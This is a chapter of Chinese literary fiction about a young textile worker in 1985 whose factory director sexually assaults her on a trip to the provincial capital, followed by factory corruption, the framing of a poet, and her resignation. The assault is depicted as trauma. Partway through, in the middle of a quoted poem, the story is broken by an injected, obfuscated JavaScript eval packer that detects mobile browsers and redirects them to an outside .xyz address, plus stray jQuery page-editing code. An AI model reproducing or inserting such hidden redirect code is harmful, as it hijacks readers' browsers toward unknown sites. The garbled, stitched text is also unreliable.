1985 年的海雾带着股铁锈味，像刚从纺织厂仓库里拖出来的铁纱锭，潮乎乎地裹着人。东方红纺织厂的宣传栏前围了圈人，新贴的布告上，刘冀和江天的名字被红笔打了叉，墨迹洇透了纸背，像两摊没干的血。“聚众斗殴、流氓滋事，情节严重” 的罪名用黑体字印着，每笔都带着尖，刮得人眼睛疼。最底下的判决结果刺得人睁不开眼：刘冀，十五年。凌月路过时，听见有人在说 “江天的家人揣着两沓钱往公安局跑，被纪委的人堵在门口，钱撒了一地，风卷着像群白蝴蝶”，还有人压低声音 “刘厂长这次是真没辙了，王主任从省城带话，说‘严打期间，谁也保不住’”。


    凌月的米白色喇叭裤早就换成了蓝布工装，裤脚缝得紧紧的，针脚歪歪扭扭，是传达室老张头的老伴帮忙缝的 —— 老太太想儿子，时常抹眼泪，眼睛早已老花，每缝三针就会扎到手，线头在裤脚内侧结成小疙瘩，磨得脚踝生疼。凌月的头发也剪短了，齐耳的长度，用橡皮筋扎成个揪，露出光溜溜的额头，头皮被勒得发紧，像套了个无形的环。这是刘德的意思，上周他让人送来个樟木箱，铜锁擦得锃亮，打开时飘出股樟脑丸的味道，混着淡淡的呛鼻子的味道 —— 箱子底层垫着的旧报纸是 1978 年的，头版印着 “改革开放” 的通栏标题。里面叠着的确良衬衫、尼龙袜子，还有条藕粉色的连衣裙，领口绣着细碎的白梅花，针脚密得像纺织厂的细纱。箱子底压着张纸条，刘德的字映入眼帘：“刘冀判了十五年，没辙了。你陪我去趟省城探望一下，或许…… 能让他在里面好过点。” 凌月摸着连衣裙的布料，滑得像没晒干的海带，突然想起母亲那件被剪碎的月白色旗袍，盘扣是翡翠的，在□□时被搜走前，母亲总说 “好料子要贴身穿才养人”，此时她不知道这些衣料隐藏着什么样的计划。


    车间的织机还在响，只是声气弱了许多，像得了肺病的老人。最老的那台 1970 年的织机彻底坏了，机身上的红漆剥落得只剩零星几点，露出的铁皮上，有人用粉笔写了个 “冤” 字，横撇竖捺都带着抖，被陈国建看见，掏出许久不抽的旱烟锅子往字上戳，烟灰落满铁皮，他再用鞋底蹭得干干净净，只留下道灰白的印子，像道没愈合的疤。有次凌月路过，看见那道印子上落了只死麻雀，是被织机的尖锐机杆划破了翅膀，血珠渗进铁皮的纹路里，把 “冤” 字浅浅的轮廓又晕得发红。


    “凌月，刘厂长叫你去办公室。” 传达室的老张头缩在岗亭里，军绿色帽子压得很低，遮住了半张脸。他的手指在铁环上转得飞快，那铁环锈得厉害，转起来 “咯吱咯吱” 响，像谁在嚼碎玻璃，那是他儿子小时候的玩具。凌月点头时，看见他帽檐下的眼睛红得像兔子，眼泡肿得发亮，“丫头，路上当心。” 这话他上周也说过，当时她正拿着刘德给的 “仓库管理员” 任命书，往仓库走，老张头偷偷往她兜里塞了颗水果糖，玻璃糖纸在工装口袋里硌得慌，后来发现糖纸里歪歪扭扭地写着几个字“小心有诈！”


    刘德的办公室比往常更暗，窗帘拉得严严实实，是那种厚重的藏青色平绒布，边缘磨出了毛边，像海草在波浪里漂浮的须子。只留条缝，漏进的光在红木办公桌上投下道细痕，像把没开刃的刀。桌上的搪瓷杯换了新的，印着 “劳动模范” 的字样，与陈国建的宝贝一个样，杯盖没盖严，飘出股龙井的清香，盖过了他身上惯有的烟味 —— 那是种名贵的 “中华” 牌香烟味，混着茶叶的香。“坐。” 刘德指了指对面的藤椅，椅垫上铺了块新的的棉布，蓝底白花的，显着朴素而有着点儿温馨的气息。


    凌月坐下时，藤条 “咯吱” 响了声，像在叹气。她看见刘德的手指在桌面上敲着，指甲修剪得整整齐齐，指节处却泛着红，像是刚攥过什么硬东西 —— 后来才发现，是他办公桌抽屉里那把黄铜算盘的边缘，被他捏出了道浅痕。“刘冀的事，你听说了？” 他的声音很轻，像海雾漫过礁石，“十五年，上诉被驳回了。王主任说，严打期间，顶风作案，没判死刑就算轻的。”


    “听说了。” 凌月的手指绞着工装裤的缝，米白色的确良布料的上衣现出一大块印子，是被汗渍浸的，像块没洗干净的胎记。上周三车间的老王被放出来了，脸肿得像发面馒头，颧骨上有块青紫色的瘀伤，见了谁都低着头，说 “在里面天天喝肥皂水，那味儿比车间的机油还冲”。他偷偷告诉凌月，刘冀在看守所里得知判决时，把搪瓷碗都砸了，吼着 “我爸是厂长”，结果被狱警踹了一脚，“部长又怎么样！”他牙都被磕掉了两颗，吐出来的血里还混着韭菜叶子 —— 前天的牢饭是韭菜炒鸡蛋，是最好的口粮了。


    刘德突然苦笑了一声，笑声像块泡软的肥皂，腻乎乎的，又有种无可奈何的味道：“我托了关系，见了他一面。” 他往凌月面前推了杯茶，茶水在玻璃杯里晃出细浪，茶叶梗子在水里打了个转，竖了起来，像根拧巴的笔杆，“他说…… 想你去看看他。省城有个展销会，顺路去趟监狱，让他有个盼头。”


    盼头？凌月想起车间老王的脸，想起烟盒上的 “笼子”，想起蒯文被煤灰染黑的手指。她想躲，哪怕是那叠钞票和那个金镏子，却被刘德话语里的无力感绊住了 —— 刘德的眼角有了皱纹，鬓角也泛了白，不像以前那样笃定，倒像头困在笼子里的兽，但时刻锁定目标。茶杯的热气模糊了凌月的视线，她看见自己的影子映在水里，短头发，蓝工装，像株被掐了尖的向日葵。上周她在仓库整理棉纱时，发现蒯文藏在废纱包后的烟盒，上面用烧焦的木棍写着：“笼子里的鸟会忘记天空，就像糖会忘记苦。” 烟盒边角沾着根灰白的头发，是老张头的 —— 后来才知道，老张头的儿子 1974 年就是因为 “送信” 被判了叛国罪，那封信里其实只是夹了片晒干的海草，收信人是他在下乡时认识的姑娘，可是他并不知道她的名字。在海边被抓到的时候，他对着大海咆哮：“隔着千万里，我只想过去看看！”岂不知被判了叛国罪。


    省城的招待所铺着红地毯，踩上去像陷进棉花堆，每走一步都能听见 “噗” 的轻响，像踩碎了什么脆东西。刘德开了间套房，客厅的茶几上摆着水果拼盘，苹果上还带着片叶子，像刚从树上摘的，梨的表皮有处磕碰，露出的果肉黄得发透，像块没化的黄油。穿旗袍的服务员送来热水时，凌月看见她旗袍开衩处露出的小腿上，贴着块麝香风湿膏，深褐色的，药味混着水果的甜香飘过来，她不由得想起去年江天家酒楼里的服务员，有种不好的预感，这些混合的味道像把钝刀子在她的心间割扯。“刘厂长，王主任在三楼宴会厅等着呢。” 服务员的声音发甜，却在转身时往凌月身上瞟了眼，那眼神像根细针，轻轻扎在她的连衣裙领口 —— 那里的白梅花绣得最密，针脚里还卡着根线头。


    酒局上的人都穿着中山装，口袋里别着钢笔，笔帽在灯光下闪着亮，说话时总爱往刘德这边凑，表现出不一般的关系。王主任的啤酒肚顶着衬衫扣子，第三颗扣子松了线，摇摇欲坠，说话时竟将唾沫星子溅在凌月的连衣裙上，留下星星点点的湿痕，凌月不敢表现出厌恶，只有陪着笑。“刘厂长也别太上火，” 他举着酒杯往刘德这边递，杯沿沾着圈啤酒沫，“年轻人犯浑，十五年也不算长，风口过后，活动活动，早点出来还能干事。” 他的目光扫过凌月，“这位姑娘看着俊，是……”


    “厂里的技术员，” 刘德抢过话头，往凌月杯里倒橘子汽水，气泡 “咕嘟” 往上冒，“聪明，会办事。” 他仰头灌下杯白酒，喉结滚动得厉害，像吞了个拳头，“小凌，给王主任斟满酒。”


    凌月捏着酒瓶，手指被玻璃硌得发麻。她还是第一次给男人倒酒，她看见刘德的脸在酒精里涨红，眼神却越来越亮，像两团荧火。王主任的手搭在她的手腕上，粗糙的掌心贴着她的皮肤，“姑娘手真嫩，不像我们这些老男人。” 他的手指往她手心里钻，像条蛆，“刘厂长有福气，身边总不缺美人。”


    凌月想起车间窗台上的仙人掌，浑身是刺，却在去年冬天开了朵嫩黄的花，花瓣薄得像层纱，被陈国建看见，连根拔了，说 “资产阶级情调，留着扎人”。而此刻资产阶级情调，不正是他想拔除的吗！她的手指捏着玻璃杯，冰凉的杯壁贴着掌心，杯中的橘子汽水泛着气泡，像些没说出口的话，咕嘟咕嘟往上冒，在液面碎成细小的白沫。


    当送走王主任后，凌月拖着刘德回房间，刘德突然把她往怀里拽，酒气喷在她脸上，像头醉猪。“小凌，陪我喝杯。” 他的手在她背上乱摸，显然乱了方寸，指甲刮过她的皮肤，像铁梭划过棉布，“刘冀那混小子…… 要不是看在他还有点盼头，我……” 他没说下去，嘴唇贴在她的耳垂上，湿热的呼吸像条蛇，“你帮我个忙，让他在里面好好改造，我…… 我不会亏待你。”


    帮忙，帮谁的忙？她想躲开四六不分的刘德，却被他按在沙发上，重重地压在身下。他的力气大得像把铁钳，指节陷进她的肉里，留下五个青紫色的印子。连衣裙的领口被扯开时，她看见月光从窗帘缝里钻进来，照在地毯上，像条银色的蛇，正慢慢游过来，鳞片闪着冷光，“这些衣服，是我的老情人留下的，我就知道你穿着最合身，比她还美。”刘德说着醉话，将过去与现在的时光都打包在一起。


    “刘厂长，别……” 她的声音被捂住了，像只被捏住嘴的鸟，喉咙里发出 “呜呜” 的响，像吹进仓库里又被遗忘的海风。刘德的呼吸喷在她脸上，带着酒气和口臭，像团烂泥，牙齿上还沾着点青菜叶的绿。“只要你听话，” 他的手在她身上乱摸，指甲刮过她的皮肤，像织机的铁梭划过棉布，“你跟着我就好，等着刘冀出来，我会给你一大笔钱，带你去深圳，让你过好日子……”


    过好日子？凌月痛苦地想起自己织的棉布，白得像云，上面印着阳光的味道。又想起蒯文在烟盒上写的 “棉布会记得手指的温度，就像海会记得船的重量”。可现在，那些温度都被酒精和欲望冲散了、泡化了，像被汹涌的浪卷走的沙，只留下滩涂的狼藉。她已无力反抗，或者根本没有反抗的意识，尽管这份屈辱使得她身心俱焚，她已经迷失了自己！她的指甲掐进刘德的胳膊，掐出几道血痕，血珠渗出来，沾在她的指腹上，像颗没干透的红墨水点。刘德愈发激发出□□，他紧紧地按住她，使她像只被按在砧板上的鱼，无力挣扎。


    凌月一夜未眠。刘德醒来时看到窗帘拉得严严实实，分不清是白天还是黑夜，只有窗帘缝漏进的一缕光，在地毯上投下道亮线，像根欲燃的导火索。他从手提箱中拿出个首饰盒，红绒布的，边角绣着清亮的兰花，里面躺着条金项链，吊坠是颗心形的水晶，在微弱的光里闪着亮光，像只睁着的眼睛。看来，他早有准备，“见刘冀时，希望你不要......”


    凌月没碰那项链，起身时，看见连衣裙的领口破了个洞，像张没合拢的嘴，露出的布料纤维抽成了丝，像老太太的白发，那是刘德撕扯后的痕迹，她的手指抚过那破洞，突然想起仓库里的棉纱，被机器绞断时，也是这样抽丝剥茧，露出里面的白，那些白展现的空洞与无力感，让人想哭。


    回到东海市，车间的人看她的眼神都变了。有人往她背后吐唾沫，在地上开始汇聚成海边的水汪；有人在她路过时突然噤声，手里的活计停了，织机的 “哐当” 声显得格外响，像在诅咒着什么；还有姑娘故意撞她的肩膀，把棉纱掉在地上，说 “不好意思，手滑，白纱脏了”。陈国建背着手在车间晃，看见她时，嘴角总挂着笑，那笑里藏着针，轻轻扎人。“凌月同志，好样的。” 他把搪瓷缸子往操作台上磕，不敢使劲，却发出闷声，“刘厂长很器重你啊，啊......仓库的台账做得越来越好了 —— 没有错别字了。”台账本上的名字，凌月已经改成了规规矩矩的 “凌月”，横平竖直，像小时候描的红，但陈国建总爱在旁边画个小圈，用红笔在里边写着一个“好”字，嘴里哼唧着：“跟谁也比那个傻诗人强”。


    陈国建上周突然闯进仓库，翻出她藏在棉纱堆里的烟盒，上面有蒯文写的诗：“海雾会散，潮水会退，可有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160669|180612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些人死在滩涂上”，他把烟盒死劲地拍在操作台上，矛头直指蒯文，“这是什么？思想不正！”陈国建找了照相馆的老李头弄了张合成的照片，说蒯文“行为不端”，与女人乱搞男女关系，至于那个女人也不知道是谁，身影模糊，陈国建说那绝不是凌月！


    蒯文被扭送外地那天，由于抗争，眼镜片撞裂了一道缝，这也不是他第一次撞破了眼镜，他顾不了这些，大喊：“刘德贪污！他和王主任勾结，把日本织机的尾款塞进自己口袋！陈国建枉法！那批棉纱明明是一等品，他报成三等品，钱都哪去了？” 他的声音嘶哑得像被齁咸的海风磨过，每说一个字，喉咙里就发出 “呼噜” 的异响，喷发出不屈与抗争，但只有风吹过烟囱的呜咽声伴着他的悲愤，随后，话语就被风撕成碎片，抛洒在海雾里。


    后来听陈国建说，蒯文被定性成 “人民内部矛盾”，去省纺织系统劳动工厂改造去了。那个地方本来是□□中下放改造老干部的场所，如今化作了年轻人的学习“阵地”。陈国建翻了翻白眼，显然这不是他的本意与目的。


    凌月自从那天回东海市时，已经再也没有颜面去见蒯文了。后来，她去锅炉房时，发现煤堆上还留着蒯文的烟盒，旁边扔着半截《朦胧诗选》，书页被烧了大半，焦黑的边缘卷起来，像只受伤的蝴蝶，凌月悄悄地把那半截卷起的诗选抚平。她似乎看到蒯文的眼睛，那里有愤怒，有失望，还有些别的什么，像根细针，轻轻扎在她的心上，不疼，却撮在一起、拧在一起，搅得心发麻。凌月用手指绞紧连衣裙的缝，那里还留着酒渍的印子，像块永远洗不净的膏药，散发着馊味、霉味与腻气。她突然觉得自己很讨厌，已经不像自己了。“我和你没有关系了。” 她的声音很轻，却像块石头，砸在诗选上，她的眼神慢慢暗下去，像没有余烬的烟蒂被弹在海水里。


    可是，老张头的烟盒开始出现在她的窗台上，上面用炭笔写着些零碎的事：“蒯文在劳动工厂挺好，管纱锭仓库，还在烟盒上写诗，有人偷偷传看”“江天他爸的酒楼被查封时，发现账本上有刘德的签字，买了五十箱，被记在厂里的账上”“陈国建升了副厂长，接替刘德管后勤，昨天把仓库的旧棉纱卖了，钱揣进自己口袋，还让会计记成‘废品处理’”。最后一张烟盒上，画着只笼子，里面的鸟长着喇叭裤形状的尾巴，羽毛是靛蓝色的，像凌月原来那条喇叭裤的颜色，笼子的栏杆上缠着根红绸带，打了个活结，像根能解开的绳，鸟的眼睛是用炭笔点的，亮得像夜晚海里的蓝眼泪。


    凌月把烟盒都收在樟木箱的底层，压在 1978 年的旧报纸下。她开始学着穿高跟鞋，鞋跟敲在水泥地上的 “噔噔” 声，像在给自己的脚步打拍子，每走一步，脚踝都像要断了，却还是咬着牙走，这能感受到一种高贵与从容，这些可以填补自己心灵的空虚。她还涂了口红，是刘德让人送来的 “美加净”，红色的，涂在嘴上像喝了血。刘冀在探视室里总是盯着她的嘴唇，眼神发直，说 “我还是喜欢从前你的样子，可是我现在没有这个资格。”她没说蒯文的事，也没举报刘德的所作所为，她无力与这个世界对抗。


    车间的织机还在轰响，只是凌月再也没去过。她的办公室搬到了仓库楼上，那里窗明几净，墙上挂着 “仓库管理规范” 的牌子，字迹是陈国建写的，歪歪扭扭。桌上摆着台电话机，红色的，像只睁着的眼睛，会说话，更能盯人，她须从这里听从刘德的呼叫。有时她会从窗口往下看，看见陈国建背着手在车间晃，像个打手，又像个侦探。他的搪瓷缸子越来越旧，缺了的口沿像被狗咬过，却总装着浓茶，茶叶梗子竖得像片微型的森林，他走到哪，那股焦茶味就飘到哪。


    海雾浓的时候，她会看见海边的礁石，像些没刻字的墓碑，黑黢黢的立在浪里。有次她戴着刘德给的水晶项链站在窗前，阳光透过吊坠，在墙上投下道细碎的光，像撒了把碎玻璃，碾得她心灵碎痛。有时，她会突然想起蒯文在烟盒上写的：“水晶会记得打磨的疼，就像潮水会记得礁石的伤口”，不禁黯然神伤。


    那天晚上，刘德又来了，带着瓶红酒，标签上的外文她不认识，字母像些歪歪扭扭的蛇，瓶身上的花纹是金色的，缠着葡萄藤，藤上的叶子尖得像针。“刘冀那边我打点过了，正向着预期发展。” 他的声音很轻，像海雾漫过礁石，心情却很沉重。凌月的手指捏着酒杯，冰凉的玻璃贴着掌心，杯中的红酒晃出细浪，像些没说出口的话，她看见自己的影子在酒里晃，短头发，红嘴唇，脖子上的水晶吊坠闪着光，看着像个陌生人。


    她没问刘冀还有多少年，也没问老张头的儿子什么时候能回来。只是看着窗外的海，雾又浓了，把纺织厂的烟囱吞了进去，只剩下个模糊的轮廓，像支没蘸墨的笔，在夜空里写着什么，却什么也看不清，只有偶尔闪过的联防队员的手电筒光，像颗流星，划过去就灭了。


    仓库的棉纱堆越来越高，像座小坟山，最底下那层的棉纱都发了霉，长出些灰绿色的毛，像灵怪的头发。凌月想起在最底下那层，藏了片贝壳，是她刚进厂时捡的，内侧刻着 “自由”，被海水泡得发胀，刻字的地方有些磨损，却还能看清那些笔画，弯弯曲曲的，像走过的路。她知道，有些东西丢了，还能找回来，像被浪卷走的沙，说不定哪一天又被送回岸边；像被织机绞断的棉纱，重新接线还能织出白布。而她已寻不回自己的梦。


    海雾又起了，带着股铁锈味，像刚从纺织厂仓库里拖出来的铁纱锭，潮乎乎地裹着人，钻进人的骨头缝里。凌月坐在仓库的台账前，笔尖悬在纸上，却迟迟落不下去，墨水在笔尖积成个小墨珠，颤巍巍的，像滴没敢滴落的泪。窗外的联防队员换了班，钢管在石灰线上划出 “沙沙” 的响，划得整整齐齐。她的目光落在 “凌月” 两个字上，突然觉得那笔画像些缠绕的线，横是经，竖是纬，能织出白布，能绣出梅花，也能解开死结 —— 她突然间领悟到什么，只要她愿意，就能让针脚重新变得细密，像纺织厂的细纱，把散落的光都织进去，织成块能裹住温暖的棉布。